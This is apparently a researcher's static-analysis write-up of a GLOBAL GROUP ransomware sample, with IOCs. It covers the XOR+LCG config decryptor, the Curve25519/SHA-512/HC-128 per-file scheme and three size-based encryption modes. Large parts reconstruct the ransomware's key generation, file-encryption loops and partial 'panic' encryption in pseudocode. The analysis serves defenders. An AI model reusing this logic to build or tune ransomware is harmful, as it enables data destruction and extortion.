Static Analysis of GLOBAL GROUP Ransomware: From Encrypted Config to Panic Mode

Analysis Date: January 7, 2026
Methodology: Static analysis only
Sample: f6f7a37b49310287a253dbdf81e22f0593f44111215ca9308e46d2c68516196f


TL;DR

In-depth analysis of GLOBAL GROUP ransomware (RaaS), revealing:

  • An encrypted .config section using a custom XOR + LCG algorithm
  • Hybrid encryption: Curve25519 (ECDH) + SHA-512 (KDF) + HC-128 (stream cipher)
  • The “hash” at config offset 0x843 is actually the builder’s Curve25519 public key
  • Three encryption modes based on file size (including a “panic” mode)
  • Per-file ephemeral keys with proper asymmetric cryptography
  • A builder structure allowing per-victim custom configs

Intro - Personal thoughts

I tend to approach malware analysis from a low‑level, technical perspective. Rather than focusing on APT naming, MITRE mappings, or high‑level threat classifications, I’m mostly interested in how malware actually works internally. I enjoy taking things apart: understanding custom algorithms, configuration formats, encryption routines, and the overall logic implemented in the binary.

I also tend to avoid classic dynamic analysis whenever possible. Between anti‑VM tricks, sandbox detection, and the inherent risk of executing real malware, I find static analysis and low‑level emulation (using tools like Unicorn or Qiling) to be a safer and more reliable way to study samples. This kind of approach fits me better: it allows me to focus on reversing the code itself, step by step, without relying on runtime behavior or external classifications.

¯\(ツ)

Why

I decided to face a ransomware from a reversing point of view. While scrolling on X I saw a post from @RakeshKrish12 saying :

1
🚨#Global #Ransomware is back as AWARE!

Here

And just choose this one randomly :D

Reconnaissance: That Section Shouldn’t Be There

Opening the binary in a hex editor, something immediately catches the eye:

1
2
$ xxd f6f7a37b49310287a253dbdf81e22f0593f44111215ca9308e46d2c68516196f | grep -A5 ".config"
00039000: 2e63 6f6e 6669 6700 0086 0400 0000 9a3e .config........>

A .config section? In a C/C++ compiled executable? That smells like a custom build system or… a ransomware-as-a-service (RaaS) embedding per-victim configs.

Quick check with PE-bear:

  • Section name: .config
  • Virtual Address: 0x43e000
  • Raw Size: 0x864 (2148 bytes)
  • Characteristics: 0x40000040 (READ | INITIALIZED_DATA)

Let’s see what’s inside this section:

1
2
3
4
5
$ dd if=f6f7a37b49310287a253dbdf81e22f0593f44111215ca9308e46d2c68516196f bs=1 skip=$((0x39a00)) count=64 | xxd
00000000: 7d97 d5cf 41ab 0f6d 6b46 ef2c 7ab5 d2cd }...A..mkF.,z...
00000010: 4c3c bfd0 f4f4 a665 2826 72f1 44f2 ff31 L<.....e(&r.D..1
00000020: e61e 0c42 edda 4a6c 2a62 dd2e c87a 8eba ...B..Jl*b...z..
00000030: 1d5d 9e49 8c6d bdd6 a3fa 57bc baf7 7ea4 .].I.m....W...~.

WTF?! This looks like random noise. Entropy check:

1
2
3
4
5
6
7
8
9
10
11
12
import math
from collections import Counter

with open('f6f7a37b...', 'rb') as f:
f.seek(0x39a00)
data = f.read(0x864)

counts = Counter(data)
entropy = -sum(count/len(data) * math.log2(count/len(data))
for count in counts.values())
print(f"Entropy: {entropy:.2f} bits/byte")
# Output: Entropy: 7.98 bits/byte

7.98 bits/byte = near-perfect random = it’s encrypted.


Config Decryption: Custom XOR + LCG

Locating the Decryption Code

Searching for references to the .config section in Binary Ninja, we land on a large function at 00402940 doing suspicious things:

1
2
3
4
5
6
7
8
9
10
11
12
13
// At 0x402d6c - Searching for .config section
IMAGE_DOS_HEADER* dos_header = GetModuleHandleA(nullptr);
IMAGE_NT_HEADERS* nt_headers = (dos_header + dos_header->e_lfanew);
IMAGE_SECTION_HEADER* section = IMAGE_FIRST_SECTION(nt_headers);

for (int i = 0; i < nt_headers->FileHeader.NumberOfSections; i++) {
if (!strcmp(section->Name, ".config")) {
// FOUND IT!
uint8_t* config_encrypted = (uint8_t*)(dos_header + section->VirtualAddress);
// ... decryption ...
}
section++;
}

OK so the malware dynamically searches for its own .config section. Smart - no hardcoded offsets.

The Decryption Algorithm

Here’s the decryption code :

It’s a custom Linear Congruential Generator (LCG)! The formula:

1
key[n+1] = (ROR(key[n], 13) × 0x9a8b7c6d) ⊕ 0x5e4f3d2c

With:

  • Initial seed: 0x52d8fc7d
  • Multiplier: 0x9a8b7c6d
  • XOR constant: 0x5e4f3d2c

Python Decryptor Implementation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python3
import struct

def ror32(value, shift):
return ((value >> shift) | (value << (32 - shift))) & 0xFFFFFFFF

def decrypt_config(encrypted_data):
"""Decrypts the .config section with XOR+LCG like"""
decrypted = bytearray()
key = 0x52d8fc7d # Seed

for i in range(0, len(encrypted_data), 4):
# XOR with current key
encrypted_dword = struct.unpack('<I', encrypted_data[i:i+4])[0]
decrypted_dword = encrypted_dword ^ key
decrypted.extend(struct.pack('<I', decrypted_dword))

# LCG: next key
rotated = ror32(key, 13)
key = (rotated * 0x9a8b7c6d) & 0xFFFFFFFF
key ^= 0x5e4f3d2c

return bytes(decrypted)

with open('f6f7a37b49310287a253dbdf81e22f0593f44111215ca9308e46d2c68516196f', 'rb') as f:
f.seek(0x39a00)
encrypted_config = f.read(0x864)

decrypted = decrypt_config(encrypted_config)
print(decrypted[:100])

Output:

1
b'\n\x00\x00\x00Your network has been breached. Data has been encrypted and stolen...' 

BOOM! We got the decrypted config. The first DWORD (0x0000000A = 10) is the encryption percentage - we’ll see why it’s crucial in the encryption modes section.


Decrypted Config Structure

By analyzing the code that parses the config, we can try to reconstruct and guess the complete structure:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
struct GlobalGroupConfig {
// 0x000: Encryption percentage (10 = 10%)
uint32_t encryption_percentage;

// 0x004: Custom ransom note (1310 bytes)
char ransom_note[1310];

// 0x800-0x80b: Unknown flags
uint32_t unknown_1;
uint32_t extension_length; // Custom extension length
uint8_t flags[4];

// 0x80c: Optional password ? (0 = disabled)
uint8_t password_required;
uint8_t reserved[6];

// 0x813: Expected password ? (if enabled)
char expected_password[32];

// 0x833: Custom extension for encrypted files / campaign ID (?)
char custom_extension[13]; // Ex: "gzEQi"

uint16_t unknown_2;
uint8_t unknown_3;

// 0x843: Builder's Curve25519 public key (32 bytes)
uint8_t builder_public_key[32];

// Following: C2 URL, credentials, ...
};

Critical discovery: The 32 bytes at offset 0x843 aren’t a “hash” at all - it’s the builder’s Curve25519 public key. This is the foundation of the ransomware’s asymmetric encryption scheme.

Example of decrypted config (excerpt):

1
2
3
4
5
6
7
8
Offset  Content
------ -------
0x000 0A 00 00 00 → 10% encryption
0x004 0A 00 59 4F 55 52 20 50 45 52... → Ransom note
0x80c 00 → Password: disabled
0x813 00 00 00 00... → (empty password)
0x833 67 7A 45 51 69 00 → Extension: "gzEQi"
0x843 2e da 81 46 ad 3e 61 8a f6 fa... → Builder's Curve25519 public key

Hybrid Encryption Architecture

GLOBAL GROUP uses hybrid encryption - combining asymmetric (Curve25519) and symmetric (HC-128) cryptography. This is the same approach used by modern secure protocols like TLS.

Why Hybrid?

Pure symmetric encryption (bad):

  • Ransomware has a hardcoded secret key → reverse engineer once, decrypt everything
  • Same key for all victims → one break compromises all

Hybrid encryption (good):

  • Ransomware only has the builder’s public key (can’t decrypt with this)
  • Each file gets a unique ephemeral key pair
  • Only the builder (with the private key) can decrypt
  • Reverse engineering the binary is useless without the private key

Complete Encryption Flow (Per File)

Let’s trace the entire encryption process for a single file:

Step 1: Generate Ephemeral Key Pair (0x401f11)

1
2
3
4
5
6
7
// Generate random private key (unique for THIS file)
uint8_t ephemeral_private_key[32];
CryptGenRandom(hCryptProv, 0x20, ephemeral_private_key);

// Curve25519 clamping (RFC 7748)
ephemeral_private_key[0] &= 0xf8; // Clear bits 0,1,2
ephemeral_private_key[31] = (ephemeral_private_key[31] & 0x3f) | 0x40; // Set bit 254

This clamping is the signature of Curve25519:

  • Bits 0-2 cleared: avoids small subgroup attacks
  • Bit 254 set, bit 255 cleared: forces key into correct range

Result: 32 random bytes that form a valid Curve25519 private key.

Step 2: ECDH Key Exchange

1
2
3
4
5
6
7
8
9
10
11
12
13
// First ECDH: Generate ephemeral public key
uint8_t ephemeral_public_key[32];
uint8_t basepoint_9[32] = {9, 0, 0, ..., 0}; // Standard Curve25519 basepoint

sub_40fdc0(&ephemeral_public_key, ephemeral_private_key, basepoint_9);
// ephemeral_public_key = X25519(ephemeral_private, basepoint_9)

// Second ECDH: Create shared secret with builder's key
uint8_t shared_secret[32];
uint8_t* builder_public_key = config[0x843]; // The "hash"!

sub_40fdc0(&shared_secret, ephemeral_private_key, builder_public_key);
// shared_secret = X25519(ephemeral_private, builder_public)

sub_40fdc0 is the X25519 scalar multiplication function.

Critical point: This shared secret can be computed two ways:

  • Ransomware (encryption): X25519(ephemeral_private, builder_public)
  • Builder (decryption): X25519(builder_private, ephemeral_public)

Both produce the same 32-byte shared secret. This is the magic of ECDH!

Step 3: Key Derivation with SHA-512 (0x401f75)

1
2
3
// Derive 64-byte key from 32-byte shared secret
uint8_t expanded_key[64];
sub_40b830(shared_secret, 0x20, expanded_key);

sub_40b830 is a SHA-512 based KDF with custom 64-byte constants. Analysis of the underlying functions reveals:

  • sub_40b390 = SHA512_Update (hashes input data)
  • sub_409ed0 = SHA512_Transform (compression function with characteristic rotations)
  • sub_40b500 = SHA512_Final (padding + output)

The KDF adds an extra security layer and expands the key material to 64 bytes.

Step 4: HC-128 Initialization (0x401f94)

1
2
3
// Initialize HC-128 stream cipher
HC128_Context hc128_ctx;
sub_40bd20(&hc128_ctx, expanded_key, 0x100, 0x100);

HC-128 is an eSTREAM finalist - a battle-tested stream cipher. Identified by:

  • Two tables (P & Q) of 512 elements each
  • Characteristic rotations: ROR(23,10,8) for P-table, ROR(22,9,24) for Q-table
  • 64-byte keystream blocks generated per call

This is kinf of serious cryptography.

Step 5: File Encryption

1
2
3
4
5
6
7
8
9
10
11
// For each 64-byte block
while (data_remaining) {
// Generate 64 bytes of keystream
uint8_t keystream[64];
sub_40beb0(&hc128_ctx, keystream); // HC-128 keystream generator

// XOR with plaintext
for (int i = 0; i < 64; i++) {
ciphertext[i] = plaintext[i] ^ keystream[i];
}
}

Classic stream cipher operation: XOR plaintext with pseudo-random keystream.

1
2
3
4
5
6
7
8
9
// Append 0x258 bytes (600 bytes) to encrypted file
struct EncryptionFooter {
uint8_t ephemeral_public_key[32]; // ← CRITICAL for decryption!
// Metadata: encryption mode, offsets, percentages, etc.
uint8_t metadata[568];
};

SetFilePointerEx(hFile, 0, NULL, FILE_END);
WriteFile(hFile, &footer, 0x258, &bytesWritten, NULL);

Why the footer is essential: Without the ephemeral public key, even the builder can’t decrypt - there’s no way to recalculate the shared secret!

Decryption Process (Builder Side)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌─────────────────────────────────────────────────────────┐
│ 1. Read footer → extract ephemeral_public_key │
│ │
│ 2. Load builder_private_key (never in ransomware!) │
│ │
│ 3. ECDH: shared_secret = X25519(builder_private, │
│ ephemeral_public) │
│ │
│ 4. KDF: expanded_key = SHA512(shared_secret) │
│ │
│ 5. HC-128 Init: HC128_Init(ctx, expanded_key) │
│ │
│ 6. Decrypt: plaintext = ciphertext ⊕ HC128_keystream │
└─────────────────────────────────────────────────────────┘

Why This must be “Unbreakable” Without the Private Key

Can’t extract the builder’s private key - it’s never in the binary
Can’t brute force Curve25519 - 2²⁵⁶ possible keys
Can’t reuse keys across files - each file has unique ephemeral keys
Can’t attack the crypto - Curve25519, SHA-512, and HC-128 are all cryptographically sound

Only the builder with the private key can perform the ECDH and recover the shared secret


Encryption Modes: From Panic to Methodical

The ransomware adapts its strategy based on file size. By analyzing the code at 0x402019 and following, we identify three distinct modes.

Mode 1: Files < 5 MB - Full Encryption

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if (fileSize < 0x500000) {  // 5 MB
// Encrypt entire file in 1 MB chunks
while (bytes_remaining > 0) {
uint32_t chunk_size = min(bytes_remaining, 0x100000);
ReadFile(hFile, buffer, chunk_size, &bytesRead, NULL);

// HC-128 encryption
sub_40bd90(NULL, &hc128_ctx, buffer, buffer);

SetFilePointerEx(hFile, offset, NULL, FILE_BEGIN);
WriteFile(hFile, buffer, bytesRead, &bytesWritten, NULL);

offset += bytesRead;
}
}

Strategy: Full encryption. Small files are completely destroyed.

Mode 2: Files 5-70 MB - Spaced Encryption

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
else if (fileSize >= 0x500000 && fileSize <= 0x4600000) {  // 5-70 MB
// Encrypt 4 KB blocks spaced 10 MB apart
uint32_t num_blocks = fileSize / 0xa00000; // 10 MB spacing

for (int i = 0; i < num_blocks; i++) {
uint32_t offset = i * 0xa00000;
SetFilePointerEx(hFile, offset, NULL, FILE_BEGIN);

// Encrypt 4 KB
ReadFile(hFile, buffer, 0x1000, &bytesRead, NULL);
sub_40bd90(NULL, &hc128_ctx, buffer, buffer);
SetFilePointerEx(hFile, offset, NULL, FILE_BEGIN);
WriteFile(hFile, buffer, bytesRead, &bytesWritten, NULL);
}
}

Strategy: Sampling encryption. Saves time while making the file unusable (imagine a video or database with encrypted holes every 10 MB).

Mode 3: Files > 70 MB - PANIC Mode

This is where it gets interesting. For large files, the malware looks at the encryption_percentage from the config (remember: 0x0A = 10%).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
else {  // > 70 MB
// Calculate bytes to encrypt
uint64_t total_bytes_to_encrypt = (fileSize * encryption_percentage) / 100;

if (encryption_percentage != 100) {
// PANIC mode: encrypt X% spread uniformly
uint32_t chunk_size = 0x100000; // 1 MB chunks
uint64_t spacing = fileSize / (total_bytes_to_encrypt / chunk_size);

uint64_t current_offset = 0;
while (current_offset < fileSize) {
SetFilePointerEx(hFile, current_offset, NULL, FILE_BEGIN);

uint32_t bytes_to_read = min(chunk_size,
total_bytes_to_encrypt - total_encrypted);
ReadFile(hFile, buffer, bytes_to_read, &bytesRead, NULL);
sub_40bd90(NULL, &hc128_ctx, buffer, buffer);

SetFilePointerEx(hFile, current_offset, NULL, FILE_BEGIN);
WriteFile(hFile, buffer, bytesRead, &bytesWritten, NULL);

current_offset += spacing;
total_encrypted += bytesRead;
}
} else {
// Full encryption (like mode 1)
}
}

Strategy: On a 10 GB file with encryption_percentage = 10, the ransomware will encrypt only 1 GB spread uniformly. This drastically speeds up the attack (seconds instead of minutes) while making files unrecoverable.

Why “PANIC”? Because this mode is probably designed for scenarios where the attacker knows they have little time (imminent detection, admin arriving, EDR about to trigger). They sacrifice completeness for speed.

Mode Comparison

File Size Mode Strategy Time (estimate)
< 5 MB Full 100% encrypted ~1-2 seconds
5-70 MB Spaced 4 KB blocks / 10 MB ~0.5-1 second
> 70 MB Panic 10% uniformly ~0.1-0.5 seconds

On a large server with TBs of data, panic mode allows corrupting everything in minutes instead of hours.

At the end of each encrypted file, the ransomware writes a footer of 0x258 bytes (600 bytes):

1
2
3
// At 0x40261a - Footer writing
SetFilePointerEx(hFile, 0, NULL, FILE_END);
WriteFile(hFile, &encryption_metadata, 0x258, &bytesWritten, NULL);

This footer contains:

  • The ephemeral public key generated for this file (32 bytes)
  • Encryption metadata (mode used, offsets, etc.)
  • Probably a hash/checksum

Why is this important? To decrypt, the attacker (who possesses the private key corresponding to the public key in the config) can:

  1. Read the encrypted file’s footer
  2. Extract the ephemeral public key
  3. Perform ECDH with their private key to recalculate the shared secret
  4. Regenerate the same HC-128 key
  5. Decrypt the file

This is proper asymmetric crypto No secret key stored locally - impossible to decrypt without the builder’s private key.
(Assuming correct implementation and no side-channel / implementation flaws that I did not verify :D)

IOCs and Detection

Analyzed File

1
2
3
SHA256: f6f7a37b49310287a253dbdf81e22f0593f44111215ca9308e46d2c68516196f
Family: GLOBAL GROUP ransomware
Added extension: .gzEQi (varies by config)

Behavioral Indicators

Search for .config section:

1
if (!strcmp(section->Name, ".config"))

Characteristic crypto calls:

  • CryptGenRandom for key generation
  • Curve25519 scalar multiplication (clamping pattern)
  • Encryption loops with HC-128 patterns

File modifications:

  • Custom extension added
  • 0x258 byte footer
  • File attribute modifications (SetFileAttributesW)

Cryptographic stuff

Modern hybrid encryption: Curve25519 ECDH + SHA-512 KDF + HC-128 stream cipher
Proper key management: Per-file ephemeral keys, no secrets in binary
Battle-tested algorithms: eSTREAM finalist (HC-128), RFC 7748 (Curve25519)
No crypto mistakes: Correct clamping, proper IV/key separation, sound KDF

The operators, or developpers, clearly have cryptographic expertise. Choosing Curve25519 over RSA, implementing proper ECDH, and using HC-128 (not amateur AES-CBC) shows sophistication well beyond typical ransomware.

Operational Features

Builder-specific configs: Each sample unique per victim (RaaS model)
Smart optimizations: Panic mode encrypts 10% in seconds vs hours
Custom obfuscation: XOR+LCG like config encryption (unique seed/multiplier)
Metadata tracking: Footer preserves decryption capability

The “panic” mode is particularly clever: on a 10TB server, encrypting just 10% (uniformly distributed) renders everything unusable while completing in minutes. This beats detection/response timelines.

Why It’s Effective

The hybrid encryption means:

  • Reverse engineering is futile: No secret key in the binary to extract
  • Per-file security: Breaking one file doesn’t help with others
  • Builder control: Only they can decrypt (payment enforcement)
  • No generic decryptor possible: Each victim has unique builder public key

This is fundamentally different from ransomware with hardcoded keys or weak crypto - those can be broken.